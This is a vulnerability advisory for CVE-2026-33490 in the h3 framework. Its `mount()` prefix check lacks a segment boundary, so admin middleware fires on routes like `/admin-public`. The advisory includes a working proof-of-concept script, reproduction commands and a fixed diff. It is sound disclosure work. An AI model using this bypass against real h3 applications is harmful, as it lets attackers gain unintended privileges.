CVE-2026-33490

Description

## Summary The `mount()` method in h3 uses a simple `startsWith()` check to determine whether incoming requests fall under a mounted sub-application's path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is `/` or end-of-string), middleware registered on a mount like `/admin` will also execute for unrelated routes such as `/admin-public`, `/administrator`, or `/adminstuff`. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags. ## Details The root cause is in `src/h3.ts:127` within the `mount()` method: ```typescript // src/h3.ts:122-135 mount(base: string, input: FetchHandler | FetchableObject | H3Type) { if ("handler" in input) { if (input["~middleware"].length > 0) { this["~middleware"].push((event, next) => { const originalPathname = event.url.pathname; if (!originalPathname.startsWith(base)) { // <-- BUG: no segment boundary check return next(); } event.url.pathname = event.url.pathname.slice(base.length) || "/"; return callMiddleware(event, input["~middleware"], () => { event.url.pathname = originalPathname; return next(); }); }); } ``` When a sub-app is mounted at `/admin`, the check `originalPathname.startsWith("/admin")` returns `true` for `/admin`, `/admin/`, `/admin/dashboard`, but also for `/admin-public`, `/administrator`, `/adminFoo`, etc. The mounted sub-app's entire middleware chain then executes for these unrelated paths. A secondary instance of the same flaw exists in `src/utils/internal/path.ts:40`: ```typescript // src/utils/internal/path.ts:35-45 export function withoutBase(input: string = "", base: string = ""): string { if (!base || base === "/") { return input; } const _base = withoutTrailingSlash(base); if (!input.startsWith(_base)) { // <-- Same flaw: no segment boundary check return input; } const trimmed = input.slice(_base.length); return trimmed[0] === "/" ? trimmed : "/" + trimmed; } ``` The `withoutBase()` utility will incorrectly strip the base from paths that merely share a string prefix, returning mangled paths (e.g., `withoutBase("/admin-public/info", "/admin")` returns `/-public/info`). **Exploitation flow:** 1. Developer mounts a sub-app at `/admin` with middleware that sets `event.context.isAdmin = true` 2. Developer defines a separate route `/admin-public/info` on the parent app that reads `event.context.isAdmin` 3. Attacker requests `GET /admin-public/info` 4. The `/admin` mount's `startsWith` check passes → admin middleware executes → sets `isAdmin = true` 5. The middleware's "restore pathname" callback fires, control returns to the parent app 6. The `/admin-public/info` handler sees `event.context.isAdmin === true` ## PoC ```javascript // poc.js - demonstrates context pollution across mount boundaries import { H3 } from "h3"; const adminApp = new H3(); // Admin middleware sets privileged context adminApp.use(() => {}, { onRequest: (event) => { event.context.isAdmin = true; } }); adminApp.get("/dashboard", (event) => { return { admin: true, context: event.context }; }); const app = new H3(); // Mount admin sub-app at /admin app.mount("/admin", adminApp); // Public route that happens to share the "/admin" prefix app.get("/admin-public/info", (event) => { return { path: event.url.pathname, isAdmin: event.context.isAdmin ?? false, // Should always be false here }; }); // Test with fetch const server = Bun.serve({ port: 3000, fetch: app.fetch }); // This request should NOT trigger admin middleware, but it does const res = await fetch("http://localhost:3000/admin-public/info"); const body = await res.json(); console.log(body); // Actual output: { path: "/admin-public/info", isAdmin: true } // Expected output: { path: "/admin-public/info", isAdmin: false } server.stop(); ``` **Steps to reproduce:** ```bash # 1. Clone h3 and install git clone https://github.com/h3js/h3 && cd h3 corepack enable && pnpm install && pnpm build # 2. Save poc.js (above) and run bun poc.js # Output shows isAdmin: true - admin middleware leaked to /admin-public/info # 3. Verify the boundary leak with additional paths: # GET /administrator → admin middleware fires # GET /adminstuff → admin middleware fires # GET /admin123 → admin middleware fires # GET /admi → admin middleware does NOT fire (correct) ``` ## Impact - **Context pollution across mount boundaries**: Middleware registered on a mounted sub-app executes for any route sharing the string prefix, not just routes under the intended path segment tree. This can set privileged flags (`isAdmin`, `isAuthenticated`, role assignments) on requests to completely unrelated routes. - **Authorization bypass**: If an application uses mount-scoped middleware to set permissive context flags and other routes check those flags, an attacker can access protected functionality by requesting a path that string-prefix-matches the mount base but routes to a different handler. - **Path mangling**: The `withoutBase()` utility produces incorrect paths (e.g., `/-public/info` instead of `/admin-public/info`) when the input shares only a string prefix, potentially causing routing errors or further security issues in downstream path processing. - **Scope**: Any h3 v2 application using `mount()` with a base path that is a string prefix of other routes is affected. The impact scales with how the application uses middleware-set context values. ## Recommended Fix Add a segment boundary check after the `startsWith` call in both locations. The character immediately following the base prefix must be `/`, `?`, `#`, or the string must end exactly at the base: **Fix for `src/h3.ts:127`:** ```diff mount(base: string, input: FetchHandler | FetchableObject | H3Type) { if ("handler" in input) { if (input["~middleware"].length > 0) { this["~middleware"].push((event, next) => { const originalPathname = event.url.pathname; - if (!originalPathname.startsWith(base)) { + if (!originalPathname.startsWith(base) || + (originalPathname.length > base.length && originalPathname[base.length] !== "/")) { return next(); } ``` **Fix for `src/utils/internal/path.ts:40`:** ```diff export function withoutBase(input: string = "", base: string = ""): string { if (!base || base === "/") { return input; } const _base = withoutTrailingSlash(base); - if (!input.startsWith(_base)) { + if (!input.startsWith(_base) || + (input.length > _base.length && input[_base.length] !== "/")) { return input; } ``` This ensures that `/admin` only matches `/admin`, `/admin/`, and `/admin/...` - never `/admin-public`, `/administrator`, or other coincidental string-prefix matches.

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